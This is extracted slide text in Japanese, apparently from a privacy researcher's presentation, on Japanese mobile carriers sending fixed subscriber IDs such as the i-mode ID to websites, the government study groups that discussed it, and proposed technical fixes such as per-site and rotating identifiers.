今はiモードIDを確認なしに送信しているのに、このまま掲載中 ある。」 「ユビキタス環境のコンテンツビジネスでは、一度の認証で携帯電話、PC、放送等 のメディアを横断して利用できるシングル・サインオンの実現が求められている。 そのためにはユーザー識別システム（ユーザーID）の開放が必要である。 」 85 86 • 87 88 2007年度の総務省 「モバイルビジネス研究会」 • • •• ユーザIDを通信キャリア間で統一する「IDポータビリティ」を提案 固定のユーザIDを使うのか、任意サイト送信とするのかには触れず パブリックコメント（2007年8月） 意見提出（産業技術総合研究所情報セキュリティ研究センター） (1) ユーザIDの利活用の推進にあたっては、平成13年6月に総務省から公表さ れた「次世代移動体通信システム上のビジネスモデルに関する研究会」報告書 で指摘されているプライバシー上の懸念に配慮する必要があることを明記する べき。 (2) そのプライバシー懸念を払拭しながら同時にユーザID の利活用を実現する ために、（運用方針による回避ではなく）技術的手段による抜本的な解決策を • 模索するべき。 (3) その技術的解決手段を実現可能とするために、各通信事業者は、Webの HTTP通信においてcookie機能に対応するべき。 2008年3月末、NTTドコモがiモードID送信開始 • • • • IDは変更可能か NTTドコモ • iモードIDは「基本的にお客様にずっと通して使って頂くもの」とのことで、ID変更手続 きは存在しない。ただし、電話番号の変更手続きをするとiモードIDも変更される。 KDDI • EZwebサービスの利用を「廃止」して、同サービスの「再追加」を行うと、EZ番号は新 しいものが割り当てられる。廃止に1時間、再追加に1時間かかり、計2時間ほどメール 等が受信できなくなる。（2010年5月9日まで） ソフトバンクモバイル • 変更できない。電話番号を変更する手続きをとってもIDは変更されない。SIMカードの 再発行手続きをすれば変更されるが、紛失した場合など限られた事情があるときにしか 応じていない。 イーモバイル • 変更できない。迷惑電話など事情により電話番号を変更することはできるが、電話番号 を変えてもIDは変更されない。SIMカードを交換すると番号が変わるが、紛失時にしか 交換しない。交換手数料は2100円。 89 • 「通信プラットフォーム研究会」報告書 2008年度の総務省 「通信プラットフォーム研究会」2008年8月10日 （この日で流れが変わった） • • 90 モバイル・コンテンツ・フォーラム事務局（岸原孝昌） 今のIDの情報管理のことについて。当然連携すれば危険性が高まるところもあると思うが、システムを厳密 に考えないといけない。IDは単なる識別情報、つまり、ユニーク性を担保するものなのか、認証まで入って 個人情報を含むのかによって、流出したときの危険性は大きく違う。システムを作るときはIDはユニーク性 •• たいへんよい報告書に仕上がっている を担保するものにする。システム上の不備による問題点というよりは、個人情報管理をきちんとやるかどう かという問題である。そこをきちんとわけて議論して頂きたい。 たとえば、SNSでハンドルネームが一つしかつくれませんよという仕組みは、単なる携帯電話のユーザIDと • • 同じようなものであり、そういうものが公開されただけのときの管理の話とは、違うのではないか。危険性 を考える上では、IDと単に片付けるのではなく、IDが何を持っているかの危険性を議論して頂きた い。 マイクロソフト（楠正憲） 今ご指摘の、IDが個人情報にあたるのか、端末のユニーク性を保障するものにすぎないのかという点は、弊 社も90年代後半から苦労してきた問題である。90年代末の段階で、ユニーク性しかないものであっても、 サイトを超えて名寄せができてしまうものについては、本人が意図しない問題が起こってしまうとし、 Internet Explorerのバージョン3のころには許されていたクロスサイトのcookieは、その後のバージョンで セキュリティ対策でオフにしている。 また、インテルCPUの識別子についてもBIOS設定でデフォルトでオフになっている。IPv6でも同様の議論 があり、temporary addressというものがあるが、これは、使い難くてプログラムを書くのが難しくなる ため、弊社の中でも開発の人たちからこの仕様を捨てられないかと異論もあったが、ユニークなIDであって も、サイトを超えて同じものが流通することはプライバシー上問題があるというのが、国際的な通念になっ ていると理解している。 • 91 p.37「個人を識別できる属性情報が本人の意図に反して流通する事態 を防止する観点から、複数のIDを異なる認証基盤間で直接結び付ける のではなく、これら複数のID間にバーチャルIDを介在させるなどの変 換構造を導入し、各事業者は自社に関わる情報のみを取り扱う仕組み とし、利用者側はサービスを利用する事業者にのみ必要最低限の情報 を渡し、利用者自らの意思でID管理ができるような仕組みとすること が求められる。」 p.31脚註35に技術的解決策の具体案が書かれている • 「リバティアライアンスの仕組み…最初の認証手続を行う度にSPごとに個 別のサイト固有のIDを払い出し、認証結果にはそのIDが記載される仕組みが 採用されている。 そのため、異なるSP間で共通するIDを使って個人の行動 について相関性を分析するといったことができない…他方、OpenIDにおい て、……」 2009年度「認証基盤連携フォーラム」で実証実験が行われた 92 • IDの有効ドメイン（共通有効空間） • IDの空間的連続性（サービス独立性） • 「利用者視点を踏まえたICTサービスに係る諸問題に関 する研究会」第二次提言案 独立性の低いID（共通ID）は、匿名前提で蓄積された属性情報 を、匿名でなくする危険性を高める 独立性の高いID 独立性の低いID IDa サービスA サービスB IDb サービスB サービスC IDc サービスZ 人 サービスC ID IDz • • 人 … … サービスA 2009年度の総務省 「ライフログ活用サービスに関する検討」（行動ターゲティン グ広告について） • 「これまで検討してきたとおり、ライフログ活用サービスは、その態 様によっては、プライバシーを侵害し得るし、利用者の不安感等を惹起 し得る。よって、ライフログを取得・ 保存・利活用する事業者は、利 用者に対して一定の配慮をなし、円滑なサービスに資する ための対策 を取ることが望ましい。」 これは、欧米で問題視されている前述「小さめの問題」に対す るFTCや欧州委員会の対応に合わせた日本での対応 サービスZ 93 94 • 95 96 ケータイIDは「個人情報」か 単体では個人情報保護法における「個人情報」ではない • 利用者視点…諸問題研究会第二次提言案p.41 • 脚註44 • 「契約者固有IDについては、複数のコンテンツプロバイダに対して同一の契 約者固有IDが送出されるため、各コンテンツプロバイダが各々保有するウェ ブページ上の行動履歴や位置情報を、同一IDに紐付けて集積することが極め て容易との指摘がある。また、各コンテンツプロバイダにとっては、契約者 固有IDを、契約者情報等の個人情報と紐付けることが容易に可能であり、同 一の契約者固有IDに紐付けて集積されたウェブページ上の行動履歴等が比較 的容易に個人識別性を獲得するとの指摘がある。」 • • (3)識別IDの時間的・空間的連続性の差異を考慮するべき （全般） • • • •• 補足資料 •• 時間的連続性: 識別IDには、契約者固有IDのように、数年以上にわたって継 続して個人に対応付くものもあれば、数週間程度で別のIDにリセットされる ことで、個人への対応付けが一旦切られるものもあり、前者は後者に比べて プライバシーへの影響度合いが格段に大きい 空間的連続性: 識別IDには、契約者固有IDや第三者cookieのように、どの Webサイトを訪れても同じ値が使用されるものもあれば、Webサイトごと に独立した異なるIDとなるものもあり、前者は後者に比べてプライバシーへ の影響度合いが格段に大きい 時間的連続性の短い識別IDの使用と告知の例 Firefoxの位置情報通知機能では、「2週間ごとに期限切れとなる、ラ ンダムなクライアント識別番号」を用いて、プライバシーに配慮 このWGは、これらの性質の違いを考慮した検討を行っていない • • このままでは、妥当な落とし所を見極めることなく、消費者優先か事業者優 先か、全否定か全肯定かの議論で終わってしまうのではないか 時間的連続性が短く空間的連続性の狭い識別IDについて求められる対応は緩 くてもよく、長くて広い識別IDについて求められる対応は厳しくする必要が あるとする、妥当な落とし所があるのではないか 「ii 透明性の確保」の事業者が通知すべき事実に加えるべき • 使用する識別IDの時間的連続性・空間的連続性を明記させる 時間的連続性の長さは「(9)保存期間」とは別のものである点に注意 97 IDの時間的・空間的連続性 住民票番号 （用途が限定的） 時間 長 日本経済新聞 2008年3月30日朝刊 IPアドレス(固定) ケータイID （自らの意思で利用） 個人情報保護法では保護されない • 韓国の住民登録番号 amazon.comのID 98 •• TwitterのID ドコモ、携帯電話の「識別番号」・コンテンツ会社に通知 （自らの意思で公開） 狭 トラッキングcookie （オプトアウトで許容） 広 • ケータイIDに紐付けた属性情報の売買 空間 ケータイIDに紐付けられた住所氏名が流出したら…… IDで管理された莫大な履歴が誰のものか判ってしまう IPアドレス(PPPoE) 短 住所氏名等さえ含まなければ合法 これは合法なのか? （他人に再割当される） セッションID • • •• • • Webアクセス履歴、購買履歴、検索履歴その他 購入した側が、そのIDの人の住所氏名を持っていると…… IPアドレス(ADSL) (cookieの本来の用途) 「ドコモがコンテンツ会社に情報提供するのは、携帯の電話番号ごと に付与される「ｉモードＩＤ」と呼ばれる識別番号。電話番号とは異 なる英数字の組み合わせで構成。「氏名やメールアドレスは含まれてお らず、個人情報開示には当たらない」（ドコモ）という。」 （他人に再割当される） 99 100 • なぜ解決しないか • 1人1回の実現 既に使われている •• 「かんたんログイン」機能の実現に使用 2008年のiモードID送信以来、急速に広がった NTTドコモはiモードIDの用途としてそれを示した PCでは実現不能 ケータイなら可能?（国民ケータイ総背番号制） 行政手続番号利用法（マイナンバー法） 某オンライン広告会社がNTTドコモに要請してiモードIDが始まったの では？ とする説 •• 行政手続目的以外での利用を禁止 • • • 警察の捜査に使用 •• • • • • 広告の不正クリック対策に使用 •• •• マイナンバー的利用の広がり • ポイントカードでの使用は違法 ブラックリストの作成は違法 使用が広がってしまうと戻れなくなる ケータイからの書き込みはIPアドレスでは1人に絞れないため、IDの送 信を警察が求めたとする説 悪質利用者排斥目的に使用 これは技術論ではなく、国民世論が選択すること 韓国のケース • •• EMA（モバイルコンテンツ審査・運用監視機構）の認定基準 住民登録番号の入力をWebサイトが求めている 住民登録番号のWeb入力、2015年から禁止する方針 「i-Pin 2.0」へ移行（2009年7月から提供開始） 101 102 • 103 104 技術的解決策 「かんたんログイン」実装目的なら • •• • 端末がcookie機能を搭載すれば済む話 どうしてもID送信するならサイトごとに異なる値で十分 OpenIDなどでも実現できる 警察捜査、発信者開示請求の目的なら •• • 一定期間（1日から10日程度）で変化するIDで十分 • IDと契約者の対応ログを携帯電話事業者が記録 従来のIPアドレスを用いた開示請求と同じ 悪質利用者排斥、青少年保護の目的なら •• サイトごとに異なり一定期間で変化するIDで十分 • サイトをまたがって同一悪質利用者を排斥するのは妥当か? ID空間をブロック分けするという方法も考えられる（数千人で共有） KDDI「プライバシー情報ではない」 • なぜ解決しないか 始まってしまったものは後戻りできない • • • KDDIはEZ番号の送信を止めることはできなかった 今からiモードIDを止めたり仕様変更したりできる? 携帯電話事業者がオープンな議論をしていない • • •• 末端の技術者が後先考えず汚い仕様を設計してそれが普及 既存技術のつまみ食い 研究部門と事業部門との乖離 • • • 研究職社員の見識が事業に全く活かされていない 英語圏の批判に晒されていない 固定された固有IDの送信機能は消費者運動のバッシング対象 日本にはプライバシー擁護団体が存在しない 105 106